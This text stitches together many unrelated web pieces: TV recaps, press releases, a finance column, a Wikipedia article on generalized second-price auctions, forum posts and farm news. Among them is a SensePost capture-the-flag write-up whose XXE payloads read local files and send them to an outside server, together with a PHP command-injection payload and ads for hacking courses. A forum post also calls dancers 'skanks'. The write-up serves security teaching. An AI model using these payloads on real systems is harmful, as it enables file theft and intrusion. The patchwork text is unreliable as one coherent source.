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The Top 3 queens have been chosen!
This week's RuPaul's Drag Race went to the dogs – literally.
The final four queens were given a three part challenge, all about dogs, called the Bitch Ball. In the end only three queens were left standing and one of them will be crowned the Next Drag Superstar. Before we get to that, let's start with the mini challenge.
This week the queens had to blindly choose a puppet based on one of their competitors boy counterparts then put it in drag. Sharon Needles picked Chad Michaels. Chad picked Phi Phi O'Hara. Latrice Royale picked Sharon. Phi Phi chose Latrice.
To no one's surprise Chad and Sharon had the best puppets. Sharon playfully cut on Chad's silicon work while Chad let Phi Phi have it all the way down to her snuggle tooth. And Chad wins the mini challenge.
For the main challenge, Ru tells fills the queens in on the Bitch Ball. They'll have to come up with three looks: Daytime Dog Park Realness, Pooch in a Purse Party Girl Realness and Canine Couture (based on a real dog). Since she won the mini challenge, Chad gets to assign the dogs. She gives Phi Phi a dose of her own medicine and gives her the worst of the four dogs, a large and stubborn bloodhound. Good work, Chad!
Oh, and they also have to perform an opening group number. Dressed as dogs.
As if Drag Race fans weren't already convinced, Phi Phi spends the entire episode making sure we all hate her. And just to seal the deal, she hates her dog. America will stand for a lot of things but dog hate isn't one of them. Haha.
The Runway Rundown
(Look 1: Daytime Dog Park Realness. Look 2: Pooch in a Purse Party Girl. Look 3: Canine Couture)
- Latrice – Look 1: daytime hooker. Look 2: Night time hooker. Look 3: Frumpy in fur.
- Phi Phi – Look 1: Poo Poo O'Hara. Look 2: Dida wants her wig back girl. Look 3: Bloodhound gang bang
- Chad – Look 1: Perfect pooch. Look 2: Kool Kardashian. Look 3: Hot Maw Maw.
- Sharon – Look 1: Sharon Sunshine. Look 2: Someone call dog protective services. Look 3: Poodle Perfection.
And now we get to my favorite part of any competition show and that's when the host asks the contestants who should or should be in the finale. Ru asks the final four which queen shouldn't be in the Top 3.
Sharon says Phi Phi because America needs a sweetheart and not someone so cut throat. Phi Phi lashes out at Sharon and calls her a liar. So clearly Phi Phi picks Sharon because … well she couldn't think of a reason. Chad picks Phi Phi as well because Phi Phi has some maturating to do. Latrice picks Sharon. Because Sharon isn't polished, she says. OK girl, go check your orange makeup and your hem line and rethink that answer.
Of course it never matters who says what because the judges already have their minds made up. But it makes for some delicious drama.
Sharon wins the challenge and is the first put in the Top 3. The look on Phi Phi's face is priceless. She was so certain she'd win. Ru decides Chad is in the bottom 2 for the first time this season. Phi Phi is safe and is the second person in the Top 3. That means it's Latrice versus Chad in this week's lip sync for your life. This is three weeks in a row for Latrice and no one ever escapes elimination a third time.
Chad and Latrice take on Wynonna's "No One Else On Earth" and Latrice is lost. She's nailed the past two lip syncs, but Chad is the one really delivering. So needless to say, Chad wins the lip sync and rounds out the Top 3. Latrice sashays away. So there you have it. The Top 3 is Sharon Needles, Phi Phi O'Hara and Chad Michaels. And now every Drag Race fan can say a collective prayer that Phi Phi doesn't win the crown in two weeks.
And now for my Top 3 assessment:
Sharon Needles: Sharon is clearly a fan favorite. She's already won a Facebook contestant Logo sponsored for fans to pick ONE queen from the four season to return for the All-Stars show. Sharon is definitely the most unique queen the show has seen, so she has that going for her. She's also present an impromptu anti-bullying campaign this season and that's very timely. The biggest thing working against her would be the Absolut Vodka guy isn't a fan and the winner of Drag Race does headline the Absolut Vodka tour …
Phi Phi O'Hara: For every person who loves Sharon, there are two who dislike Phi Phi. The Phi Phi hate is all over Facebook and the message boards. Fans will not be happy if she wins. That being said, Phi Phi has really grown on the judges. And she has gotten better through the season. She's definitely a wild card at this point.
Chad Michaels: Chad has been pretty flawless all season. So much so that that has been her downfall. I know, right? ONLY in a reality show would someone get docked for being too good. The judges want to see Chad rough things up a bit. But I think that would be a crazy reason to not win the show. I think Chad will deliver for the finale, making the judges' decision between her and Sharon a tough one.
Drag Race Scorecard
Mini Challenge Winner: Chad Michaels
Main Challenge Winner: Sharon Needles
Eliminated: Latrice Royale
Quote of the Week: "You usually don't see a dark lady in the dog park in the light of day." -Sharon Needles


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NEW YORK, Oct. 1, 2012 /PRNewswire/ -- New York's Hometown Airline™ JetBlue (Nasdaq: JBLU) today breaks ground on the extension to its world class home at John F. Kennedy's Terminal 5 to pave the way for an international arrivals facility. Set to open in early 2015, the thoughtfully-designed space includes six international arrivals gates – three new and three converted from Terminal 5 - and an International Arrivals Hall with full U.S. Custom and Federal Inspection Services (FIS) to deliver a seamless travel experience for customers arriving from international flights on JetBlue and select partner airlines.
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Event attendees enjoyed New York centric treats including fresh waffles courtesy of Wafels & Dinges famed local food cart and I HEART NEW YORK co-branded cookies from the airline's neighbor in Long Island City, Baking For Good, which donates 15 percent of all net proceeds to charitable causes. Guests also enjoyed a first look at renderings of the new international arrivals terminal procured by the airline's design architect partner Gensler.
"Today is truly a groundbreaking day for JetBlue as we begin work on our international arrivals terminal at T5," said JetBlue President and CEO, Dave Barger. "We're excited to work with all of our partners at JFK and beyond to move forward with this project which, when completed, will make all domestic and international operations seamless and convenient for our customers and consolidate our flight operations under one roof." Some highlights of the international arrivals terminal extension include:- A design created by Gensler that mirrors the existing Terminal 5's bright and friendly look and feel, supportive of JetBlue's brand aesthetic and the company's commitment to bringing humanity back to air travel
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Global Macro: Investors Price In Weaker Dollar
NEW YORK ( TheStreet) --Investors appear to be pricing in a weaker U.S. dollar, which has broader ramifications for global asset markets.
The first chart below is of Markets Vectors Gold Miners ETF (GDX) over Guggenheim S&P 500 Equal Weight (RSP). The pair represents the relative strength of gold-mining stocks in U.S. equity markets.
Gold miners have recently broken out of their yearly relative downtrend, as the dollar has shown considerable weakness versus the euro and yen.
A turn up in both physical gold and gold-mining stocks is bearish for the dollar and may indicate a turn higher in long-dated Treasuries, which are now at their yearly lows.
The next chart is of iShares MSCI Emerging Market ETF (EEM) over Vanguard Total World Stock Index ETF (VT). The pair measures the relative strength of emerging-market equities versus the broader world market. Emerging-market equities had seen a vast selloff as inflation expectations diminished, the U.S. dollar strengthened, and the Treasury yield curve steepened. Now, however, a weaker dollar and flattening U.S. yield curve could drive funds back to foreign assets. Commodities have reversed direction off of their yearly lows, and Chinese central bank flexibility is prompting investors to be more positive about emerging-market equities. It appears that emerging-market equities have hit a bottom, and if the U.S. economy remains relatively weak, then emerging markets should bounce off yearly lows. The last chart is of United States Oil Price (USO) over CurrencyShares Swiss Franc Trust (FXF). The pair measures the strength of West Texas crude oil versus the Swiss franc, a traditional safe-haven currency. Oil has recently spiked higher on fundamentals and a weaker dollar, and resides as yearly highs. The pair is consolidating, but looks to be overbought. A selloff in oil could be a catalyst for selling U.S. equities. That could further push investors into gold assets and Treasuries, as well as into assets abroad. Much of the price action lies with the direction of the dollar and overall outlook for the U.S. economy. Don't expect oil to break lower just yet. At the time of publication the author had no position in any of the stocks mentioned. Follow @AndrewSachais This article is commentary by an independent contributor, separate from TheStreet's regular news coverage.Check Out Our Best Services for Investors
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Generalized second-price auction
The generalized second-price auction (GSP) is a non-truthful auction mechanism for multiple items. Each bidder places a bid. The highest bidder gets the first slot, the second-highest, the second slot and so on, but the highest bidder pays the price bid by the second-highest bidder, the second-highest pays the price bid by the third-highest, and so on. First conceived as a natural extension of the Vickrey auction, it conserves some of the desirable properties of the Vickrey auction. It is used mainly in the context of keyword auctions, where sponsored search slots are sold on an auction basis. The first analyses of GSP are in the economics literature by Edelman, Ostrovsky, and Schwarz[1] and by Varian.[2] It is employed by Google's AdWords technology.
Formal model[edit]
Consider there are bidders and slots. Each slot has a probability of being clicked of . We can assume that top slots have a larger probability of being clicked, so:
We can think of additional virtual slots with click-through-rate zero, so, for . Now, each bidder has an intrinsic value for one slot submits a bid indicating the maximum he is willing to pay for a slot (which is his bid reported valuation – notice it doesn't need to be the same as his true valuation ). We order the bidders by their value, let's say:
and charge each bidder a price (this will be 0 if they didn't win a slot). Slots are sold in a pay-per-click model, so a bidder just pays for a slot if the user actually clicks in that slot. We say the utility of bidder when allocated to slot is . The total social welfare from owning or selling slots is given by: where is the bidder allocated to slot . The total revenue is given by:
GSP mechanism[edit]
To specify a mechanism we need to define the allocation rule (who gets which slot) and the prices paid by each bidder. In a generalized second-price auction we order the bidders by their bid and give the top slot to the highest bidder, the second top slot to the second highest bidder and so on. So, bidder gets slot . Each bidder pays the bid of the next highest bidder, so: .
There are cases where bidding the true valuation is not a Nash equilibrium. For example, consider two slots with and and three bidders with valuations , and . Bidding 7, 6 and 1 respectively is not a Nash equilibrium, since the first bidder could lower his bid to 5 and get the second slot for the price of 1 and increase his utility therefore.
Equilibria of GSP[edit]
Edelman, Ostrovsky and Schwarz [1] show that GSP (in the model presented above) has always an efficient equilibrium, i.e., an equilibrium maximizing social welfare, which is measured as where is the slot in which player is allocated according to his bid (the permutation is defined by the bid vector ). This equilibrium has the property that the outcome (allocation and payments) is similar to VCG. The same papers study properties of a natural but restricted class of equilibria called envy-free equilibria. They prove that envy-free equilibria always exist and it always maximizes the social welfare - they also compare the revenue on different envy-free equilibria. Lahaie [3] studies the GSP from a Theoretical Computer Science point of view. Paes Leme and Tardos [4] study the structure of the general equilibria in GSP and prove Price of Anarchy. They prove that the Price of Anarchy under a set of natural conditions is bounded by (golden ratio). Computational analysis of this game have been performed by Thompson and Leyton-Brown.[5]
GSP and uncertainty[edit]
The classical results due to Edelman, Ostrovsky and Schwarz [1] and Varian [2] hold in the full information setting – when there is no uncertainty involved. Recent results as Gomes and Sweeney [6] and Paes Leme and Tardos [4] and also empirically by Athey and Nekipelov [7] discuss the Bayesian version of the game - where players have beliefs about the other players, but not necessarily know the other players valuations. Gomes and Sweeney [6] prove that an efficient equilibrium might not exist in the partial information setting. Paes Leme and Tardos [4] prove a bound of 8 for the Bayes-Nash Price of Anarchy.
See also[edit]
- ^ a b c Benjamin Edelman, Michael Ostrovsky, and Michael Schwarz: "Internet Advertising and the Generalized Second-Price Auction: Selling Billions of Dollars Worth of Keywords". American Economic Review 97(1), 2007 pp 242-259
- ^ a b H. R. Varian: "Position auctions. International Journal of Industrial Organization, 2006".
- ^ S. Lahaie. An analysis of alternative slot auction designs for sponsored search. In EC '06: Proceedings of the 7th ACMconference on Electronic commerce, pages 218–227
- ^ a b c Renato Paes Leme and Éva Tardos, Pure and Bayes-Nash Price of Anarchy for Generalized Second Price Auction, 51st Annual IEEE Symposium on Foundations of Computer Science (FOCS 2010)
- ^ D. R. M. Thompson and K. Leyton-Brown. Computational analysis of perfect-information position auctions. In EC '09: Proceedings of the tenth ACM conference on Electronic commerce, pages 51–60, New York, NY, USA, 2009. ACM.
- ^ a b R. D. Gomes and K. S. Sweeney. Bayes-nash equilibria of the generalized second price auction. In EC '09: Proceedings of the tenth ACM conference on Electronic commerce, pages 107–108, New York, NY, USA, 2009. ACM
- ^ Susan Athey and Denis Nekipelov. A Structural Model of Sponsored Search Advertising Auctions, Ad Auctions Workshop, 2010
- S. Lahaie, D. Pennock, A. Saberi, and R. Vohra. Algorithmic Game Theory, chapter "Sponsored search auctions:, pages 699–716. Cambridge University Press, 2007
- Lecture notes on Keyword-Based Advertisement


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California transplant David Randolph describes himself as "a sculptor painter." Not a sculptor-slash-painter, mind you, or a painter-slash-sculptor, but as both simultaneously. A few minutes in the cubed and multifaceted world of his new show, Visual Reports From the Digital Universe, and you'll grok the distinction: Randolph fuses dimensional form with planes of light and shadow no matter what medium he's working in. Tonight, at his artist's reception at Abbate Fine Art (713 Canyon Road, Santa Fe) at 5pm, plunge into a fragmented (yet aesthetically satisfying) reality with pieces like the acrylic painting "Santa Fe Descending a Staircase" and the limited-edition print "Canyon Road Goes Digital," which connect cubo-futurism to landscape painting by way of Wreck-It Ralph. His series of "Catwize" cast-stone sculptures shiver with gem-sharp, light-refracting planes softened by affection. Like a Rubik's Cube, Randolph's art bends the mind just enough to make a game of seeing. Abbate Fine Art, Santa Fe • Fri Nov 29 • 5pm • View on Alibi calendar


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LBJackal wrote:I can see his power numbers going up based on the park he'll be in. Lineup protection will be the same - top notch - so I don't think that will be an issue. As for his SB's.... I think the Yanks would give him the green light more than Houston. Look at how often A-Rod gets it, and he isn't a perfect 28-for-28 like Beltran is in Houston.And who knows, he might get 40 HR's today. Kent broke the all-time 2B HR record yesterday with 2 HR's, maybe it's Beltran's turn today.
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LBJackal wrote:KC is the worst stadium for HR's in the majors (Kauffman and PETCO are the worst)..... Dodger Stadium would be an improvement... and as for Houston, it's more of a HR park for righties since there's that short porch. It's actually as close toa a neutral HR park as there is. And since it favours righties I'd have to assume it's not as good for lefties He bats left most of the time so I don't think it would help him as much. And Yankee Stadium has a short RF porch. I don't think his HR totals will go down... and since he knows the pitchers already, maybe that'll give him an edge. I dunno. All I know is that I hope he lands with the Yanks
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LBJackal wrote: All I know is that I hope he lands with the Yanks
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Just a few points I wanted to express about the Trayvon Martin case. No particular order. No pseudo-activism. If you're light skinned and under 6ft. I don't expect you to feel me and we can't engage in conversations about race relations in America. You aren't a threat.
For starters, I hope everyone understands that by charging Zimmerman with 2nd degree murder instead of manslaughter, they have all but insured that he gets off. Unless there is evidence out there we don't know about, he is not getting convicted of 2nd degree murder. 2nd degree murder has to prove "depravity" from what I understand. Manslaughter is a no brainer. It's the old banana in the tailpipe move.
Sybrina Fulton [Trayvon's mother] needs better representation and just needs to be on hush mode until she's needed in trial. Saying that she thinks the fatal shooting of her son was an accident was terrible and appearing on Bill O' Reilly's bigot ass show was even worse. You can't convict 2nd degree murder off of an accident. If her goal is to see Zimmerman do real time, she really needs to shut up. Next thing you know Zimmerman's people will piggy back the defense, claim it was a horrible accident, and he'll spend 40 months locked up instead of life. The Martin's need better handlers. That Spanglish speaking lawyer can't be too much help if he can't even master the language. He may be incompetent. He maybe somebody's cousin. I don't know but he's a councilor he's supposed to council the family on what to say. Lawyer fail.
I didn't get my hopes up when he was arrested and now Zimmerman's bond is $150,000. The black reaction must be hilarious to the judicial system. Zimmerman's donations from his fuck ass website can easily cover his freedom. The fantastic part is that he only has to pay 10% of his bail so a murderer is free on 15,000.
Fuck Zimmerman. He has too much support for being dead wrong. Even if Trayvon did in fact look suspicious [LOOK suspicious] how do you justify killing someone who you THINK is about to do wrong?
I'm not feeling any of it. The stage seems to be set for Zimmerman to walk.
I wish that people cared about the dead bodies in their own zip codes as much as they did about the ones they see on national news. People are upset about this case and rightfully so, but they forgot about Troy Davis, Tarika Wilson, Robert Tolan and Sean Bell already. People don't care about changes in their neighborhoods until someone who isn't from their hood changes things. That shit is backwards as hell. I'm not saying don't care about issues like this at all, but people bypass the same crucial shit that happens on their yard but will rally to the death for strangers miles away. Al Sharpton got y'all in fucking LaLa land.
The same shit has been going on in the black community for at least the last 4 decades. There are states in the Union where we are one vote away from bein 3/5 of a person again. When I see people talking about how it is now, it just means they don't know their own history.
No matter what we do, we aren't going to change stereotypes. Black stereotypes were not based on fact, were not created by us, and are perpetuated by a nation who believes in them. It's a lost fight. This case is taking place in Florida. The same Sunshine State that let Casey Anthony skate. If we can't get justice for a helpless, white toddler, the fuck makes you think we're gonna get justice for a 6ft. teenage black male? Just live life and keep it pushing.
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quote:Not reading this thread but if your daughter is a dancer, then Tiger Girls >>>> Golden Girls
quote:She is a good dancer and wanted to try out for Tiger Girls but she dislocated her knee cap doing a turn and fell on it, sheared the back of her knee cap off, had surgery, just got out of the brace she has been in for 3 months and doing PT now. Doesn't think she will be able to get in dance shape by try outs. She did go to their work shop last spring and loved it.
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quote:The Golden Girls are mostly skanks these days anyway. They seem to be less talented and less attractive, yet more trashy looking. This has not always been the case, but it seems that is the kind of girl they want on the squad now.
quote:Girl on the right is an ex classmate of mines niece. It is not political and she comes from a good family.


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The winner of the first segment of the Nokia Imaging Wiki Competition 2013Q3 has been selected.
The winner is .... DRUM ROLL ....
PedroQ for his article Using Nokia Imaging SDK in a Windows Phone game. This article demonstrates an image-based quiz game, where the Nokia Imaging SDK is used to add effects to images to make them more challenging to recognise. We really liked that this article used the SDK for something other than creating a new imaging or camera app, and we found the explanation of how the use of filters both easy to understand and relevant to the use case.
Pedro also contributed extremely valuable feedback about a problematic issue we had with the Nokia Imaging SDK NuGet installer. His solution was far from trivial and has resulted in a much better installation experience for all developers. Pedro would very likely have won the feedback section of the competition for this contribution too! While he is no longer eligible to win a prize for that, we'll be sending him an additional Monster headset as a token of how much we really value his help and feedback.
Selecting this article was not an easy decision - most of the judges had other articles which they also thought were outstanding. The good news is that while we could only select one article this round, we know we've already got some really worthy articles for consideration at the end of the next two segments. I advise you to check them out on the competition page.
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SensePost today is proud to announce the completion of a contract that will see the company recognized as the world's first "Approved Maltego Solution Provider" (AMSP) and the exclusive provider of this kind in the UK and Southern Africa.
SensePost was founded in 2000 and has developed into one of the worlds leading Information Security Services companies with offices in London, Cape Town and Pretoria. As trusted advisors it has always been our mission to provide our customers with insight, information and systems to enable them to make strong decisions about Information Security that support their business performance. Whilst this mission has traditionally expressed itself in technical security analysis services like Vulnerability Assessment and Penetration Testing we recognise that the threat landscape is constantly changing and that new and more complex realities necessitate the use of sophisticated new skills, tools and techniques with which to support our clients.
"This strategic alliance perfectly fits the 'Assess-Detect-Protect-Respond' framework that drives the way we design, sell and deliver our service. It's the perfect evolution of our growing services offering." says Etienne Greef, CEO of the SensePost group holding company SecureData, who's strategy is at the core of this new initiative.
'Maltego', built by Paterva, is a powerful suite of software tools used for data mining, link analysis and data visualization, giving the user the ability to extract large volumes of data from diverse sources and then analyze it to understand the patterns and relationships it reveals. In the modern digital age these techniques are used to convert data into information and thereby extract concrete value that can be used for effective decision-making.
Maltego is a highly regarded and popular platform used extensively in Open Source Intelligence Gathering, Infrastructure Analysis for Penetration Testing, Cyber Attack Analysis, Fraud Detection and Investigation, Security Intelligence, Information Security Management, Research and more.
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We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<description>Free web building tutorials</description>
<title>RSS Tutorial</title>
<title>XML Tutorial</title>
<description>New XML tutorial on W3Schools</description>
It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">
<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
Our payload was correctly encoded submitted to the profile update function.
As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:
The challenge server would send the contents of flag2.txt to our server.
Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...
<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>
The two runners up who both can claim one of our awesome 2014 t-shirts:
Vitaly aka @send9
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At SensePost we get to enjoy some challenging assessments and do pretty epic things. Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks. However, we know that there isn't always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We've taken a few recent hacks and rolled them into one challenge, can you crack it?
Target: http://challenge.sensepost.com/
Starting-point: Read the contents of /home/spuser/flag1.txt
Once you've completed the challenge, email us with a screenshot of your victory and a short overview of how you did it.
The prize: The winner of this challenge will be offered a free seat on any one of the SensePost training courses at Black Hat 2014.
It's almost Black Hat time again and as always SensePost will be presenting numerous Hacking by Numbers training course, which we've rewritten this year. For more information on the training courses on offer at Black Hat this year, check out:
Why Infrastructure Hacking Isn't Dead
If you work in IT Security you may have heard people utter the phrase,
"Infrastructure hacking is dead!"
We hear this all the time but in all honesty, our everyday experience of working in the industry tells a completely different story.
With this in mind we've decided to factor out our "infrastructure related h@x0ry" from our Bootcamp Course and create a brand spanking new one, completely dedicated to all things 'infrastructure'.
What You'll Learn
We've re-loaded this course to not only reinforce basic footprinting methodologies - which to be honest, are essential for target acquisition - but to also enable you to exploit common, real-world vulnerabilities.
But that's not all.
We've also highlighted methods for compromising Microsoft Active Directory infrastructures - something that's typical for corporate environments. The way in which we approach this is thorough, effective and shows you how to become DA without necessarily pulling all of your hair out.
A complete company takeover is really just a matter of time.
Get Hands-On Experience
As with all SensePost training courses, we don't just want you to sit there and watch us talk for a few days. Where's the fun in that and how on earth will you get real, tangible experience if you're just sat in a chair?
Not only will we all be doing practicals at the end of each topic, we've also created a brilliant culmination exercise:
"You'll need to compromise a company via the Internet and steal as much data as possible!"
The Bottom Line
The brand new Bootcamp Reloaded Infrastructure will provide you with a thorough introduction to real world hacking of corporate environments. You'll learn everything you need to successfully compromise most corporate networks out there.
For more information on our training offering, head over to here.
BlackOps you say?
At SensePost we have a range of courses in our Hacking by Numbers reloaded series. We feel each one has its own special place. I've delivered almost all the courses over the years, but my somewhat biased favourite is our recently updated BlackOps Edition. Myself (Glenn) and Vlad will be presenting this course at BlackHat Vegas in August.
Where Does BlackOps fit in?
Our introductory courses (Cadet and Bootcamp) are meant to establish the hacker mindset - they introduce the student to psychological aspects of an attacker, and build on that to demonstrate real world capability. BlackOps is designed for students who understand the basics of hacking (either from attending Bootcamp/Cadet, or from real-world experience) and want to acquire deeper knowledge of techniques we use. We built the course based on our 13 years of experience of performing security assessments.
But really, what's the course about?
This course is aimed at those who've been performing penetration testing for a while, but still feel a bit lost when they've compromised a host, or network and want to know the best possible approach to take for the next step. All of the labs in this course come from real life assessments, with the final lab being a full-blown social engineering attack against an admin with pivoting, exfiltration and the works. Specifically, we're going to cover the following topics:
1. Advanced Targeting
A hacker who can quickly and effectively identify targets is a successful attacker. We'll be looking at non-standard techniques for identifying targets, such as mDNS, IPv6, and other rapid reconnaissance techniques.
3. Compromise
You may know how to roll a generic metasploit payload, but we'll be looking at some lesser utilised approaches to compromise. From WPAD injection, to rogue routers in IPv6, to good old smbrelay attacks, to crypto attacks against obfuscated credentials.
4. Privilege Escalation
So you've gotten a shell, now what?
Following on somewhat succinctly, how do you elevate your privileges after compromising a box? Everyone wants to be root or enterprise admin, but how do you go about this without raising the alarm and keeping your shell?
5. Pivoting
Don't underestimate the importance, or intricacies of this topic. Once you've compromised a lowly network edge server, or the receptionist PC, how do you bounce through that box to get to the good stuff, three DMZs deep? We'll show you how. A must-have for every hackers box of tricks.
6. Open Source Intelligence (OSINT)
Finding out as much as possible about an adversary from publicly available information is one of the most important steps of any hack. This relates to both infrastructure (domains, IP ranges, etc) and personnel. In this section we'll focus mainly on the latter. How can you find out more information about the girlfriend of the son of your target company's CEO? We'll show you. Why would you want to? A good social engineering attack abuses trust relationships, so nothing makes a dad click on that dodgy looking email if it was from his son.
7. HIPS Evasion
Hackers don't like getting caught. So we'll teach you how to evade 100% (yes, 100%) of anti-virus products on the market, as well as hiding from smart traffic filtering devices. Bring your own ninja outfits, we'll provide the skill-set.
8. Client Side Attacks
The weakest layer of the OSI stack - the human. Trust us, if you really want to compromise an organization, going after the receptionist's outdated Windows box is the first stepping stone. After all, why wouldn't she open an email that appears to come from her boss, and has a harmless .xls attached?
Each module of the above modules has a theory section followed by a practical lab to allow you to practise your newly acquired skills. The course finishes with a Capture-the-Flag, with a grand prize. Honestly, this final lab is enjoyable and guaranteed to bring a smile on your face whilst doing it.
We're looking forward to sharing out knowledge, experience, and passion for security with you. Please sign up here.
-Glenn & Vlad


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When silage bags are used to store dry hay rather than corn silage or haylage, air becomes a friend, says Owen Brown.
In his new Air-Barn dry hay storage system, bales are placed in 12'-diameter silage bags. Then air is blown over and around them to remove heat and moisture as the hay cures. The result is greener, higher-quality hay than is possible with conventional barn storage, he claims.
Brown, a Pittsfield, IL, hay grower, also owns GFC, a company he formed to manufacture and market his first invention, the Bale Band-It small-bale packaging machine.
The Air-Barn is intended to be used with 21-bale bundles made by the Bale Band-It, but works with big square and round bales, too. Brown says 3 x 3' and 3 x 4' square bales can be loaded into bags three high. He's working on an attachment for loading pairs of round bales side by side.
The system consists of a square-framed bagger, a 12" or 18" fan, fan stand and bag. Bales are loaded into the bagger with a front-end loader, utilizing a pair of hinged side panels on the bagger to help guide them in. The first bales are placed at the end of the bag, then the bagger is pulled ahead to unfold the bag and make room for more bales.
When the bag is full, it's closed and secured tightly around the fan. The needed fan size depends on the hay's moisture content, says Brown. Air is changed every 7½ minutes with a 12" fan; every four minutes with an 18" fan.
"So the ventilation is far superior than in a building," he says.
Bags can be up to 250' long. He recommends that the fan be run continuously for about 60 days; then it can be moved to another bag. A fan is needed even when the hay is very dry going in.
"All hay goes through a cure," says Brown. "You're going to have to run the fan, because you can't put hay in a bag without producing moisture."
Currently, he's not calling the Air-Barn a dryer. He tells owners to bale at their usual moisture levels, using a preservative if that's what they normally do.
The bagger has two wheels for pulling it to a new location, or it can be lifted and hauled with a loader. Bags can be filled anywhere electricity is available.
He says he built it because many potential Bale Band-It customers want to switch from round bales to small squares but don't have enough storage. Some clients rent hay ground and don't want to put a permanent structure on that land.
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In a 2012 test, Agri-King compared Bale Band-It bundles of preservative-treated and untreated hay stored in an Air-Barn and a building. The hay went into storage at 20.5% moisture. Air-Barn hay stayed cooler and tested 13 relative feed value points higher than the other hay at the end of the trial, Brown reports.
The invention costs $16,000, not including fans or bags. For more information, visit www.airbarn.com or contact Brown at 217-285-6487 or firstname.lastname@example.com.
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Matthew Fleischer wrote a new diary post: 10 Ways Proposition 32 Would Hurt California
California's Proposition 32 proposes outlawing the use of automatic payroll deductions from union members and corporations for political purposes. Backed by such labor-hating billionaires as the Koch Brothers, Charles Munger Jr., and by anti-marriage equality crusaders like Howard Ahmanson and Larry T. Smith, the measure will decimate unions' ability to participate in the political process—stripping [...]
Matthew Fleischer wrote a new diary post: After Election Day: Two, Three, Many California Prop. 32s
In 1978, California voters passed Proposition 13 – a ballot initiative that rolled back property taxes to 1975 levels and capped future increases at two percent. More destructively, it mandated that all future tax raises in the state be approved by the legislature by a two-thirds margin. The law presaged a wave of anti-taxation measures [...]
Matthew Fleischer commented on the diary post A Day at the Lincoln Club: My Lunch With the Group Behind Citizens United and California's Prop. 32 by Matthew Fleischer.
I actually was invited. It would have cost me $3,900 though. A little pricey. But I could have attended a field trip to the Reagan Library with Scott Walker. Would have been a undercover journalist's dream, but I couldn't fork over that kind of money.
Matthew Fleischer wrote a new diary post: A Day at the Lincoln Club: My Lunch With the Group Behind Citizens United and California's Prop. 32
" We're Up to $60 Million" It's an unreasonably warm October day, and I'm milling about awkwardly with a handful of suits at a mixer in a small banquet hall at Newport Beach's Pacific Club—which, according to its website, is the gathering place of choice for the "distinctive life-style of Orange County's business and professional leaders." [...]
Matthew Fleischer wrote a new diary post: Pyramid Scheme: Proposition 32′s Power Elite
A new Frying Pan News infographic reveals the money and groups behind Proposition 32.
Matthew Fleischer wrote a new diary post: Borderline Crazy: CA Prop. 32′s Anti-Immigrant Allies
In October of 2011, Governor Jerry Brown signed into law the California Dream Act—which allows undocumented but high-achieving immigrant students to receive state funds to help pay for college. It was a monumental victory for tolerance and the culmination of a long fight—Arnold Schwarzenegger repeatedly vetoed similar measures during his tenure in the California governor's office. Come [...]
Matthew Fleischer wrote a new diary post: Master of Deception: California Prop 32 Author Tom Hiltachk
Any lawyer with some experience in Sacramento politics can draft language for a statewide initiative. But crafting deceptive ballot measures that can trick people into voting against their core beliefs is nothing less than an art form. For many years, the undisputed master of the misleading initiative in California has been Thomas Hiltachk. So it's [...]
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SUNBURY — The Needy Family Fund has so far reached $20,898 of its $75,000 goal. Recent donations to the fund include a $300 from St. John Lutheran Church of Richfield. A $500 donation was received from Buffalo Valley Lutheran Village Residents of Lewisburg. Rounding out the current total are $90 in donations from anonymous givers.
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On the main forum page instead of categorizing it as "Football" "Basketball" "Other Carolina Sports", this format (or something similar) would clean up the page a bit and bring more traffic to the other boards (ie: Hurricanes and CF & CB):
The Huddle (or Panther or NFL or Football)
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Having a category called "Football" that doesn't include "College Football" just seems a bit odd. And having "MLB" in "Other Carolina Sports does as well, since Carolina has no MLB team. I know it's not much, but I think some subtle changes like this would bring more Huddlers to the other boards, which is a good thing, right?
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During the school year parents are keeping near constant upkeep on their kid's French Toast uniforms. They are ironing shirts and keeping slacks perfectly hung up even as our kids come running home from school and tossing them carelessly about. When the spring turns into summer parents take a bit of a break from the extra laundry as well as the extra ironing but there are those events where these clothes might still be required.
French Toast uniforms' shirts and slacks are perfect to wear to any and all special events for your little ones. Whether they are going to a wedding, an engagement party or a Bar Mitzvah these outfits will give them the perfect amount of class with the breathability and comfort we have all come to expect from the best kids school uniforms. They are perfectly re-appropriated for the purposes of a special event and can save parents a treacherous trip clothes shopping at the mall with the kids.
Of course the best place to buy these great looking boys dress shirts are from S&D Kids the go-to for not just school uniforms but for general use classy clothing for your sons and daughters. You and the kids have a great summer!


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Okay, loads has happened since last posting. I have been visiting the site and stuff, but I just haven't had the energy to write anything. In fact, I don't have the energy right now either, but I've got nothing else to do and I find it helps to write things down.
